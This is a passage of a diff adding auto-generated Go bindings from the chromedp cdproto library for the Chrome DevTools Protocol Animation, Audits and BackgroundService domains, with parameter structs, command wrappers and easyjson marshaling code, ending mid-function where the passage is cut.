// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-releaseAnimations
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// animations - List of animation ids to seek.
|
||||
func ReleaseAnimations(animations []string) *ReleaseAnimationsParams {
|
||||
return &ReleaseAnimationsParams{
|
||||
Animations: animations,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Animation.releaseAnimations against the provided context.
|
||||
func (p *ReleaseAnimationsParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandReleaseAnimations, p, nil)
|
||||
}
|
||||
|
||||
// ResolveAnimationParams gets the remote object of the Animation.
|
||||
type ResolveAnimationParams struct {
|
||||
AnimationID string `json:"animationId"` // Animation id.
|
||||
}
|
||||
|
||||
// ResolveAnimation gets the remote object of the Animation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-resolveAnimation
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// animationID - Animation id.
|
||||
func ResolveAnimation(animationID string) *ResolveAnimationParams {
|
||||
return &ResolveAnimationParams{
|
||||
AnimationID: animationID,
|
||||
}
|
||||
}
|
||||
|
||||
// ResolveAnimationReturns return values.
|
||||
type ResolveAnimationReturns struct {
|
||||
RemoteObject *runtime.RemoteObject `json:"remoteObject,omitempty"` // Corresponding remote object.
|
||||
}
|
||||
|
||||
// Do executes Animation.resolveAnimation against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// remoteObject - Corresponding remote object.
|
||||
func (p *ResolveAnimationParams) Do(ctx context.Context) (remoteObject *runtime.RemoteObject, err error) {
|
||||
// execute
|
||||
var res ResolveAnimationReturns
|
||||
err = cdp.Execute(ctx, CommandResolveAnimation, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.RemoteObject, nil
|
||||
}
|
||||
|
||||
// SeekAnimationsParams seek a set of animations to a particular time within
|
||||
// each animation.
|
||||
type SeekAnimationsParams struct {
|
||||
Animations []string `json:"animations"` // List of animation ids to seek.
|
||||
CurrentTime float64 `json:"currentTime"` // Set the current time of each animation.
|
||||
}
|
||||
|
||||
// SeekAnimations seek a set of animations to a particular time within each
|
||||
// animation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-seekAnimations
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// animations - List of animation ids to seek.
|
||||
// currentTime - Set the current time of each animation.
|
||||
func SeekAnimations(animations []string, currentTime float64) *SeekAnimationsParams {
|
||||
return &SeekAnimationsParams{
|
||||
Animations: animations,
|
||||
CurrentTime: currentTime,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Animation.seekAnimations against the provided context.
|
||||
func (p *SeekAnimationsParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSeekAnimations, p, nil)
|
||||
}
|
||||
|
||||
// SetPausedParams sets the paused state of a set of animations.
|
||||
type SetPausedParams struct {
|
||||
Animations []string `json:"animations"` // Animations to set the pause state of.
|
||||
Paused bool `json:"paused"` // Paused state to set to.
|
||||
}
|
||||
|
||||
// SetPaused sets the paused state of a set of animations.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-setPaused
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// animations - Animations to set the pause state of.
|
||||
// paused - Paused state to set to.
|
||||
func SetPaused(animations []string, paused bool) *SetPausedParams {
|
||||
return &SetPausedParams{
|
||||
Animations: animations,
|
||||
Paused: paused,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Animation.setPaused against the provided context.
|
||||
func (p *SetPausedParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetPaused, p, nil)
|
||||
}
|
||||
|
||||
// SetPlaybackRateParams sets the playback rate of the document timeline.
|
||||
type SetPlaybackRateParams struct {
|
||||
PlaybackRate float64 `json:"playbackRate"` // Playback rate for animations on page
|
||||
}
|
||||
|
||||
// SetPlaybackRate sets the playback rate of the document timeline.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-setPlaybackRate
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// playbackRate - Playback rate for animations on page
|
||||
func SetPlaybackRate(playbackRate float64) *SetPlaybackRateParams {
|
||||
return &SetPlaybackRateParams{
|
||||
PlaybackRate: playbackRate,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Animation.setPlaybackRate against the provided context.
|
||||
func (p *SetPlaybackRateParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetPlaybackRate, p, nil)
|
||||
}
|
||||
|
||||
// SetTimingParams sets the timing of an animation node.
|
||||
type SetTimingParams struct {
|
||||
AnimationID string `json:"animationId"` // Animation id.
|
||||
Duration float64 `json:"duration"` // Duration of the animation.
|
||||
Delay float64 `json:"delay"` // Delay of the animation.
|
||||
}
|
||||
|
||||
// SetTiming sets the timing of an animation node.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-setTiming
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// animationID - Animation id.
|
||||
// duration - Duration of the animation.
|
||||
// delay - Delay of the animation.
|
||||
func SetTiming(animationID string, duration float64, delay float64) *SetTimingParams {
|
||||
return &SetTimingParams{
|
||||
AnimationID: animationID,
|
||||
Duration: duration,
|
||||
Delay: delay,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Animation.setTiming against the provided context.
|
||||
func (p *SetTimingParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetTiming, p, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandDisable = "Animation.disable"
|
||||
CommandEnable = "Animation.enable"
|
||||
CommandGetCurrentTime = "Animation.getCurrentTime"
|
||||
CommandGetPlaybackRate = "Animation.getPlaybackRate"
|
||||
CommandReleaseAnimations = "Animation.releaseAnimations"
|
||||
CommandResolveAnimation = "Animation.resolveAnimation"
|
||||
CommandSeekAnimations = "Animation.seekAnimations"
|
||||
CommandSetPaused = "Animation.setPaused"
|
||||
CommandSetPlaybackRate = "Animation.setPlaybackRate"
|
||||
CommandSetTiming = "Animation.setTiming"
|
||||
)
|
||||
+1672
File diff suppressed because it is too large.
Load diff
+24
@@ -0,0 +1,24 @@
|
||||
package animation
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventAnimationCanceled event for when an animation has been cancelled.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#event-animationCanceled
|
||||
type EventAnimationCanceled struct {
|
||||
ID string `json:"id"` // Id of the animation that was cancelled.
|
||||
}
|
||||
|
||||
// EventAnimationCreated event for each animation that has been created.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#event-animationCreated
|
||||
type EventAnimationCreated struct {
|
||||
ID string `json:"id"` // Id of the animation that was created.
|
||||
}
|
||||
|
||||
// EventAnimationStarted event for animation that has been started.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#event-animationStarted
|
||||
type EventAnimationStarted struct {
|
||||
Animation *Animation `json:"animation"` // Animation that was started.
|
||||
}
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
package animation
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// Animation animation instance.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#type-Animation
|
||||
type Animation struct {
|
||||
ID string `json:"id"` // Animation's id.
|
||||
Name string `json:"name"` // Animation's name.
|
||||
PausedState bool `json:"pausedState"` // Animation's internal paused state.
|
||||
PlayState string `json:"playState"` // Animation's play state.
|
||||
PlaybackRate float64 `json:"playbackRate"` // Animation's playback rate.
|
||||
StartTime float64 `json:"startTime"` // Animation's start time.
|
||||
CurrentTime float64 `json:"currentTime"` // Animation's current time.
|
||||
Type Type `json:"type"` // Animation type of Animation.
|
||||
Source *Effect `json:"source,omitempty"` // Animation's source animation node.
|
||||
CSSID string `json:"cssId,omitempty"` // A unique ID for Animation representing the sources that triggered this CSS animation/transition.
|
||||
}
|
||||
|
||||
// Effect animationEffect instance.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#type-AnimationEffect
|
||||
type Effect struct {
|
||||
Delay float64 `json:"delay"` // AnimationEffect's delay.
|
||||
EndDelay float64 `json:"endDelay"` // AnimationEffect's end delay.
|
||||
IterationStart float64 `json:"iterationStart"` // AnimationEffect's iteration start.
|
||||
Iterations float64 `json:"iterations"` // AnimationEffect's iterations.
|
||||
Duration float64 `json:"duration"` // AnimationEffect's iteration duration.
|
||||
Direction string `json:"direction"` // AnimationEffect's playback direction.
|
||||
Fill string `json:"fill"` // AnimationEffect's fill mode.
|
||||
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // AnimationEffect's target node.
|
||||
KeyframesRule *KeyframesRule `json:"keyframesRule,omitempty"` // AnimationEffect's keyframes.
|
||||
Easing string `json:"easing"` // AnimationEffect's timing function.
|
||||
}
|
||||
|
||||
// KeyframesRule keyframes Rule.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#type-KeyframesRule
|
||||
type KeyframesRule struct {
|
||||
Name string `json:"name,omitempty"` // CSS keyframed animation's name.
|
||||
Keyframes []*KeyframeStyle `json:"keyframes"` // List of animation keyframes.
|
||||
}
|
||||
|
||||
// KeyframeStyle keyframe Style.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#type-KeyframeStyle
|
||||
type KeyframeStyle struct {
|
||||
Offset string `json:"offset"` // Keyframe's time offset.
|
||||
Easing string `json:"easing"` // AnimationEffect's timing function.
|
||||
}
|
||||
|
||||
// Type animation type of Animation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#type-Animation
|
||||
type Type string
|
||||
|
||||
// String returns the Type as string value.
|
||||
func (t Type) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// Type values.
|
||||
const (
|
||||
TypeCSSTransition Type = "CSSTransition"
|
||||
TypeCSSAnimation Type = "CSSAnimation"
|
||||
TypeWebAnimation Type = "WebAnimation"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t Type) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t Type) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *Type) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch Type(in.String()) {
|
||||
case TypeCSSTransition:
|
||||
*t = TypeCSSTransition
|
||||
case TypeCSSAnimation:
|
||||
*t = TypeCSSAnimation
|
||||
case TypeWebAnimation:
|
||||
*t = TypeWebAnimation
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown Type value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *Type) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
+156
@@ -0,0 +1,156 @@
|
||||
// Package audits provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the Audits domain.
|
||||
//
|
||||
// Audits domain allows investigation of page violations and possible
|
||||
// improvements.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package audits
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/network"
|
||||
)
|
||||
|
||||
// GetEncodedResponseParams returns the response body and size if it were
|
||||
// re-encoded with the specified settings. Only applies to images.
|
||||
type GetEncodedResponseParams struct {
|
||||
RequestID network.RequestID `json:"requestId"` // Identifier of the network request to get content for.
|
||||
Encoding GetEncodedResponseEncoding `json:"encoding"` // The encoding to use.
|
||||
Quality float64 `json:"quality,omitempty"` // The quality of the encoding (0-1). (defaults to 1)
|
||||
SizeOnly bool `json:"sizeOnly,omitempty"` // Whether to only return the size information (defaults to false).
|
||||
}
|
||||
|
||||
// GetEncodedResponse returns the response body and size if it were
|
||||
// re-encoded with the specified settings. Only applies to images.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#method-getEncodedResponse
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// requestID - Identifier of the network request to get content for.
|
||||
// encoding - The encoding to use.
|
||||
func GetEncodedResponse(requestID network.RequestID, encoding GetEncodedResponseEncoding) *GetEncodedResponseParams {
|
||||
return &GetEncodedResponseParams{
|
||||
RequestID: requestID,
|
||||
Encoding: encoding,
|
||||
}
|
||||
}
|
||||
|
||||
// WithQuality the quality of the encoding (0-1). (defaults to 1).
|
||||
func (p GetEncodedResponseParams) WithQuality(quality float64) *GetEncodedResponseParams {
|
||||
p.Quality = quality
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithSizeOnly whether to only return the size information (defaults to
|
||||
// false).
|
||||
func (p GetEncodedResponseParams) WithSizeOnly(sizeOnly bool) *GetEncodedResponseParams {
|
||||
p.SizeOnly = sizeOnly
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetEncodedResponseReturns return values.
|
||||
type GetEncodedResponseReturns struct {
|
||||
Body string `json:"body,omitempty"` // The encoded body as a base64 string. Omitted if sizeOnly is true.
|
||||
OriginalSize int64 `json:"originalSize,omitempty"` // Size before re-encoding.
|
||||
EncodedSize int64 `json:"encodedSize,omitempty"` // Size after re-encoding.
|
||||
}
|
||||
|
||||
// Do executes Audits.getEncodedResponse against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// body - The encoded body as a base64 string. Omitted if sizeOnly is true.
|
||||
// originalSize - Size before re-encoding.
|
||||
// encodedSize - Size after re-encoding.
|
||||
func (p *GetEncodedResponseParams) Do(ctx context.Context) (body []byte, originalSize int64, encodedSize int64, err error) {
|
||||
// execute
|
||||
var res GetEncodedResponseReturns
|
||||
err = cdp.Execute(ctx, CommandGetEncodedResponse, p, &res)
|
||||
if err != nil {
|
||||
return nil, 0, 0, err
|
||||
}
|
||||
|
||||
// decode
|
||||
var dec []byte
|
||||
dec, err = base64.StdEncoding.DecodeString(res.Body)
|
||||
if err != nil {
|
||||
return nil, 0, 0, err
|
||||
}
|
||||
return dec, res.OriginalSize, res.EncodedSize, nil
|
||||
}
|
||||
|
||||
// DisableParams disables issues domain, prevents further issues from being
|
||||
// reported to the client.
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable disables issues domain, prevents further issues from being
|
||||
// reported to the client.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes Audits.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// EnableParams enables issues domain, sends the issues collected so far to
|
||||
// the client by means of the issueAdded event.
|
||||
type EnableParams struct{}
|
||||
|
||||
// Enable enables issues domain, sends the issues collected so far to the
|
||||
// client by means of the issueAdded event.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#method-enable
|
||||
func Enable() *EnableParams {
|
||||
return &EnableParams{}
|
||||
}
|
||||
|
||||
// Do executes Audits.enable against the provided context.
|
||||
func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandEnable, nil, nil)
|
||||
}
|
||||
|
||||
// CheckContrastParams runs the contrast check for the target page. Found
|
||||
// issues are reported using Audits.issueAdded event.
|
||||
type CheckContrastParams struct {
|
||||
ReportAAA bool `json:"reportAAA,omitempty"` // Whether to report WCAG AAA level issues. Default is false.
|
||||
}
|
||||
|
||||
// CheckContrast runs the contrast check for the target page. Found issues
|
||||
// are reported using Audits.issueAdded event.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#method-checkContrast
|
||||
//
|
||||
// parameters:
|
||||
func CheckContrast() *CheckContrastParams {
|
||||
return &CheckContrastParams{}
|
||||
}
|
||||
|
||||
// WithReportAAA whether to report WCAG AAA level issues. Default is false.
|
||||
func (p CheckContrastParams) WithReportAAA(reportAAA bool) *CheckContrastParams {
|
||||
p.ReportAAA = reportAAA
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes Audits.checkContrast against the provided context.
|
||||
func (p *CheckContrastParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandCheckContrast, p, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandGetEncodedResponse = "Audits.getEncodedResponse"
|
||||
CommandDisable = "Audits.disable"
|
||||
CommandEnable = "Audits.enable"
|
||||
CommandCheckContrast = "Audits.checkContrast"
|
||||
)
|
||||
+2950
File diff suppressed because it is too large.
Load diff
+10
@@ -0,0 +1,10 @@
|
||||
package audits
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventIssueAdded [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#event-issueAdded
|
||||
type EventIssueAdded struct {
|
||||
Issue *InspectorIssue `json:"issue"`
|
||||
}
|
||||
+1514
File diff suppressed because it is too large.
Load diff
+118
@@ -0,0 +1,118 @@
|
||||
// Package backgroundservice provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the BackgroundService domain.
|
||||
//
|
||||
// Defines events for background web platform features.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package backgroundservice
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// StartObservingParams enables event updates for the service.
|
||||
type StartObservingParams struct {
|
||||
Service ServiceName `json:"service"`
|
||||
}
|
||||
|
||||
// StartObserving enables event updates for the service.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#method-startObserving
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// service
|
||||
func StartObserving(service ServiceName) *StartObservingParams {
|
||||
return &StartObservingParams{
|
||||
Service: service,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes BackgroundService.startObserving against the provided context.
|
||||
func (p *StartObservingParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandStartObserving, p, nil)
|
||||
}
|
||||
|
||||
// StopObservingParams disables event updates for the service.
|
||||
type StopObservingParams struct {
|
||||
Service ServiceName `json:"service"`
|
||||
}
|
||||
|
||||
// StopObserving disables event updates for the service.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#method-stopObserving
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// service
|
||||
func StopObserving(service ServiceName) *StopObservingParams {
|
||||
return &StopObservingParams{
|
||||
Service: service,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes BackgroundService.stopObserving against the provided context.
|
||||
func (p *StopObservingParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandStopObserving, p, nil)
|
||||
}
|
||||
|
||||
// SetRecordingParams set the recording state for the service.
|
||||
type SetRecordingParams struct {
|
||||
ShouldRecord bool `json:"shouldRecord"`
|
||||
Service ServiceName `json:"service"`
|
||||
}
|
||||
|
||||
// SetRecording set the recording state for the service.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#method-setRecording
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// shouldRecord
|
||||
// service
|
||||
func SetRecording(shouldRecord bool, service ServiceName) *SetRecordingParams {
|
||||
return &SetRecordingParams{
|
||||
ShouldRecord: shouldRecord,
|
||||
Service: service,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes BackgroundService.setRecording against the provided context.
|
||||
func (p *SetRecordingParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetRecording, p, nil)
|
||||
}
|
||||
|
||||
// ClearEventsParams clears all stored data for the service.
|
||||
type ClearEventsParams struct {
|
||||
Service ServiceName `json:"service"`
|
||||
}
|
||||
|
||||
// ClearEvents clears all stored data for the service.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#method-clearEvents
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// service
|
||||
func ClearEvents(service ServiceName) *ClearEventsParams {
|
||||
return &ClearEventsParams{
|
||||
Service: service,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes BackgroundService.clearEvents against the provided context.
|
||||
func (p *ClearEventsParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandClearEvents, p, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandStartObserving = "BackgroundService.startObserving"
|
||||
CommandStopObserving = "BackgroundService.stopObserving"
|
||||
CommandSetRecording = "BackgroundService.setRecording"
|
||||
CommandClearEvents = "BackgroundService.clearEvents"
|
||||
)
|
||||
+680
@@ -0,0 +1,680 @@
|
||||
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
|
||||
|
||||
package backgroundservice
|
||||
|
||||
import (
|
||||
json "encoding/json"
|
||||
cdp "github.com/chromedp/cdproto/cdp"
|
||||
serviceworker "github.com/chromedp/cdproto/serviceworker"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// suppress unused package warning
|
||||
var (
|
||||
_ *json.RawMessage
|
||||
_ *jlexer.Lexer
|
||||
_ *jwriter.Writer
|
||||
_ easyjson.Marshaler
|
||||
)
|
||||
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice(in *jlexer.Lexer, out *StopObservingParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "service":
|
||||
(out.Service).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice(out *jwriter.Writer, in StopObservingParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"service\":"
|
||||
out.RawString(prefix[1:])
|
||||
(in.Service).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v StopObservingParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v StopObservingParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *StopObservingParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *StopObservingParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice1(in *jlexer.Lexer, out *StartObservingParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "service":
|
||||
(out.Service).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice1(out *jwriter.Writer, in StartObservingParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"service\":"
|
||||
out.RawString(prefix[1:])
|
||||
(in.Service).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v StartObservingParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v StartObservingParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *StartObservingParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *StartObservingParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice2(in *jlexer.Lexer, out *SetRecordingParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "shouldRecord":
|
||||
out.ShouldRecord = bool(in.Bool())
|
||||
case "service":
|
||||
(out.Service).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice2(out *jwriter.Writer, in SetRecordingParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"shouldRecord\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.Bool(bool(in.ShouldRecord))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"service\":"
|
||||
out.RawString(prefix)
|
||||
(in.Service).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SetRecordingParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SetRecordingParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SetRecordingParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
